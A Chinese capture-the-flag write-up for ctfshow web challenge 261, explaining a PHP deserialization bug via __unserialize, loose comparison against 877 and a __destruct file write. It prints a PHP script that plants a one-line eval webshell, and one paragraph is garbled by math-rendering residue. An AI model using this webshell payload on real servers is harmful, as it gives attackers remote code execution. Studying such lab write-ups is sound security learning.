ctf show web入门261

本题是一道php反序列化的题目,通过代码审计发现这有一个陷阱,就是当反序列化的时候会触发__wakeup()这个魔术方法

这会导致不管则么构造payload都只会生成"error"

但是在php7.4以后的版本中如果一个类中同时定义了__unserialize()和 __wakeup(),则在反序列化时只会执行__unserialize() __wakeup()会被完全忽略

此时我第一眼看到

但这并不是触发点,因为我们无法执行__invoke()该魔术方法

因为在 PHP 中,__invoke() 是当把一个"对象"当作"函数"来调用时才会自动触发的魔术方法

但是本题没有形如

php 复制代码
$obj = new ctfshowvip();
$obj(); // 像调用函数一样调用对象,此时会触发 __invoke()

的内容

所以本题的触发点是__destruct()

当对象被销毁时,会触发 __destruct()

我们可以通过 file_put_contents 写入一句话木马(Webshell)

条件是KaTeX parse error: Expected group after '_' at position 55: ...成十进制是 877 限制是在 _̲_unserialize 中,...this->code = $this->username . this−>password;。也就是说,code的值是由username和password字符串拼接而成的如果username是我们要写入的文件名(比如shell.php),password是我们要写入的代码(比如<?phpeval(this->password;。也就是说,code 的值是由 username 和 password 字符串拼接而成的 如果 username 是我们要写入的文件名(比如 shell.php),password 是我们要写入的代码(比如 <?php eval(this−>password;。也就是说,code的值是由username和password字符串拼接而成的如果username是我们要写入的文件名(比如shell.php),password是我们要写入的代码(比如<?phpeval(_POST1);?>),那么它们拼接后的 code 必然是一个包含字母的字符串(例如 shell.php<?php...)

一个包含字母的字符串,如何通过 == 877 的数字比较呢?

PHP 弱类型转换规则:当一个字符串与一个数字进行 == 比较时,PHP 会尝试将字符串转换为数字。如果字符串是以数字开头的,它会被转换为开头的数字;如果不是以数字开头,则转换为 0。

因此,只要 code 字符串是以 877 开头的,在与数字 877(0x36d)进行 == 比较时,PHP 就会判定它们相等

现在我们就可以开始构造payload

php 复制代码
<?php
class ctfshowvip {
    public $username;
    public $password;
}

$a = new ctfshowvip();
$a->username = "877shell.php";
// 注意:如果后端对某些敏感字符有限制,可以利用 base64 编码或取反,
// 但此处 file_put_contents 直接写入,我们直接放一句话木马
$a->password = "<?php @eval($_POST[1]);?>"; 

echo serialize($a);
?>

然后将生成的序列化字符串作为 vip 参数传入

页面执行完毕后,会在当前目录下生成一个名为 877shell.php 的文件

看到返回结果为一个空白的页面说明成功执行

接下来我们使用蚁剑连接

最后在根目录下找到一个flag_is_here

flag就在其中

flag值为:ctfshow{ea123419-fc63-455f-b448-e2085a88d762}

相关推荐
千寻xun6 小时前
一、理论篇-NVME协议学习笔记
笔记·学习·fpga开发·nvme ssd·nvme协议
私人珍藏库6 小时前
[Android] PeakFinder AR v4.8.89 (山峰全景识别+增强现实山峰查看器)
android·人工智能·智能手机·ar·工具·软件
researcher-Jiang6 小时前
高性能计算之OpenMP——超算习堂学习1
android·java·学习
随风一样自由7 小时前
【前端独角兽】刚进入前端领域的前端开发用jQuery还是Vue3?
前端·javascript·vue3·jquery
alexhilton7 小时前
Kotlin DSL深度解析:从Gradle脚本到构建你自己的DSL
android·kotlin·android jetpack
IMPYLH7 小时前
HTML 的 <data> 元素
前端·html
烽火聊员7 小时前
查看Android Studio错误日志
android·ide·android studio
YHHLAI8 小时前
[特殊字符] 面试中的 Promise —— 从入门到精通
前端·javascript·面试
kyriewen10 小时前
我扒了 GPT-5.6 的全部编程跑分——有一项 OpenAI 没敢放出来
前端·gpt·ai编程
前端H10 小时前
微前端 v3 架构升级:从加载隔离到状态协同
前端·架构·状态模式